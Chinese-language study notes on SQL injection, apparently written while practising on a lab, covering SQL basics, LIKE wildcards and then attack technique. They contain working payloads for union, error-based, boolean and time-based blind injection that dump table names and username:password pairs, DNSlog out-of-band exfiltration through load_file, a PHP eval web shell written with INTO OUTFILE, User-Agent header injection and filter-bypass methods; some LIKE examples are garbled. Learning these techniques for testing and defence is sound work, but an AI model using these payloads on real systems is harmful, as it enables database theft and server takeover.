开始之前引入一下sql的官方手册https://www.dba.cn/book/sql/

原理

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据,本质是把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则。

SQL数据库基础

注入步骤

1 查找注入点
2 判断是字符型还是数字型注入 and 1=1 1=2/3-1
3 如果字符型 找到他的闭合方式,' " ') ")
4 判断查询列数,group by order by
5 查询回显位置,-1

结构基础


+数据库 ( database )

    • 表_user ( table_user )
    • 表_users ( table_users )
      • 列_id (column_id)
      • 列_username (column_username)
      • 列_password (column_password)
        • 数据
        • 数据

语法基础

常用词语

  • select

后面加列名

  • from

后面加表名

  • where

条件语句
eg:>select * from users where id=1;

select * from users where id in ('3');
select * from users where id=(select id from users where username=('admin'));

常用查询参数指令

  • union

执行两边sql语句并且显示数据
eg:>select id from users union select email_id from emails;

select from users where id=6 union select ,3 from emails where id=6;
  • group by

分组,查看列数
eg:>select department,count(id) from student group by department;

select * from users where id=9 group by 2;
select * from users where id=9 group by 4;
  • order by

同group by一般用于判断数据表列表
默认按照升序排序
eg:>select stu_id from score where c_name="11" order by grade desc;

grade参数desc使排序顺序变为降序

  • limit

限制输出内容的数量,一般用于显示报错消息
eg:>select * from users limit 1,3;

select * from users limit 0,3;
  • and
  • or

常用函数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir():数据库存储数据路径
  • concat():联合数据,用于联合多条数据结果,多行变一行。eg:concat(username,0x3a,password)
  • group_concat():和concat()类似,group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()和unhex():用于hex编码解码
  • ASCII():返回字符的ASCII码值
  • CHAR():把整数转换为对应的字符
  • load_file():以文本的方式读取文件,在windows中,路劲设置为\
  • select xxoo into outfile '路径':权限高时可直接写文件

注释符号

--+ # %23 使用注释符号可以将某段程序注释掉 不让它运行

注入类型

按照查询字段

  • 字符型(输入为字符串)
  • 数字型(输入为整形)

按照注入类型

  • Union注入

前后查询的

  • 报错注入
  • 布尔注入
  • 时间注入

遇到的方法

like模糊查询

SELECT 字段 FROM 表 WHERE 某字段 LIKE 条件

%

表示任意0个或多个字符,可匹配任意类型和长度的字符。有些情况下是中文,需要用两个百分号(%%)表示

  • 将u_name为"张三","三脚猫","唐三藏"等有"三"的记录全找出来

SELECT * FROM [user] WHERE u_name LIKE '%三%'

  • 如果需要找出u_name中既有"三"又有"猫"的记录,请运用and条件

SELECT * FROM [user] WHERE u_name LIKE '%三%' AND u_name LIKE '%猫%'

  • 虽然能搜索出"三脚猫",但不能搜索出符合条件的"张猫三"

SELECT * FROM [user] WHERE u_name LIKE '%三%猫'

_

表示任意单个字符,匹配单个任意字符,它常用来限定表达式的字符长度语句

  • 只找出"唐三藏"这样u_name为三个字且中间一个字是"三"的

SELECT * FROM [user] WHERE u_name LIKE '三'

  • 只找出"三脚猫"这样u_name为三个字且第一个字是"三"的

SELECT * FROM [user] WHERE u_name LIKE '三__'

[]

表示括号内所列字符中的一个(类似于正则表达式),指定一个字符,字符串或范围,要求所匹配的对象为它们中的一个

  • 找出"张三","李三","王三"(而非"张李王三")

SELECT * FROM [user] WHERE u_name LIKE '[张李王]三'

  • 找出"老1","老2",......,"老9"

SELECT * FEOM [user] WHERE u_name LIKE '老[1-9]'

[^]

表示不在括号所列之内的单个字符,其取值和[]相同,但它要求所匹配对象为指定字符以外的任一个字符

  • 找出不姓"张","李","王"的"赵三","孙三"

SELECT * FROM [user] WHERE u_name LIKE '1三'

  • 排除"老1"到"老4" 寻找"老5","老六"......

SELECT * FROM [user] WHERE u_name LIKE '老2';

extractValue()

select extractvalue(列名,'路径') from xml;
路径不会报错 但是查询不到内容
查询参数格式符号写错 会出现报错
select extractvalue(列名,concat(0x7e,(select database()))) from xml;
对上述报错消息的利用
?id=100' and 1=extractvalue(1,concat(0x7e,(select group concat(table_name) from information_schema.tables where table_schema=database()))) --+
获取所需数据表表名users
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
获取所需数据列列名的username和password
?id=100'and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users))) --+
使用substring解决只能返回32个字符串的问题

updatexml(XML_document,XPath_string,new_value)

原理与extractvalue()基本相同,XML_document是文档对象,XPath_string是路径,new_value替换查找到的符合条件的数据

?id=1")and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
查看表名
?id=1")and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)--+
查看列名
?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+

floor()

相关函数

  • rand():随机返回0~1间的小数
select rand();
  • floor():小数向下取整数。向上取整数ceiling()
floor(rand());
  • concat_ws():将括号内数据用第一个字段连接起来
select concat_ws('_',(select database()),floor(rand()*2)) from users;
  • group by子句:常用于统计函数,对结果集进行分组
  • as:别名
select concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;
  • count():汇总统计数量
select count(),concat_ws('_',(select database()),floor(rand()2)) as a from users group by a;
rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复。
  • limit:显示指定行数
?id=0' union select 1,count(),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)2))as a from information_schema.tables group by a --+

盲注

布尔盲注

常用函数

?id=1' and ascii(substr((select database()),1,1))>114--+

闭合符的判断

排除双引号

?id=1'为假
?id=1"为真
?id=1'--+为真
?id=1"--+为真

排除单引号加括号

?id=1'为假
?id=1)为假

时间盲注

前提条件

数据库会执行代码,只是不反馈页面信息
web页面只返回一个正常页面
利用页面响应时间不同,逐个猜解数据

常用函数

if(condition,true,false)

select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))--+

DNSlog注入

提高效率

用到的网站

http://www.dnslog.cn/

手动注入

获取库名
1 and (select load_file(concat("//",(select database()),"域名"))) --
获取表名
1 and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema='xxx' limit 0,1),"域名"))) --
获取列名
1 and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='xxx' and table_name='xxx' limit 0,1),"域名"))) --+

自动化注入

dnslogsql看下面这篇文章
https://blog.csdn.net/qq_56607768/article/details/124224966

sql注入文件上传

要点

  • 首先查看MySQL读取权限 执行show variables like '%secure%';然后查看回显ON OFF
  • 向操作系统写入和读取已经存在的权限(数据库的file权限规定了数据库用户是否有权限)
  • into outfile 命令使用环境

指令

?id=1')) union select 1,2,"<?php @eval($_POST['password']);?>",into outfile "D:\web\\test.php"将一句话木马写入后面的文件中
在看下部分文章之前可以先了解一下POST和get请求的不同 https://blog.csdn.net/l_fireworks/article/details/114131299

提交方式注入

POST注入和get注入

需要了解POST和GET的一些区别
至于注入的方法感觉大差不差 就是书写地方不一样
类别就是POST union注入 报错注入 布尔盲注 时间盲注 DNSLog注入
接下来重点介绍一下

POST报头注入

uagent注入

使用报错注入
例>UA:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database())),0),'','')#
例>UA:' or updatexml(1,concat('#',(select group_cancat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0),'','')#
例>UA:' or updatexml(1,concat('#',(select concat(username,':',password) from users limit 0,1)),0),'','')#

referer注入

cookie注入

union注入方法

一些sql绕过方法

  • 注释符绕过
  • 大小写绕过
  • 编码绕过
  • 重复绕过
  • 空格绕过
  • join绕过

  1. 张李王
  2. 1-4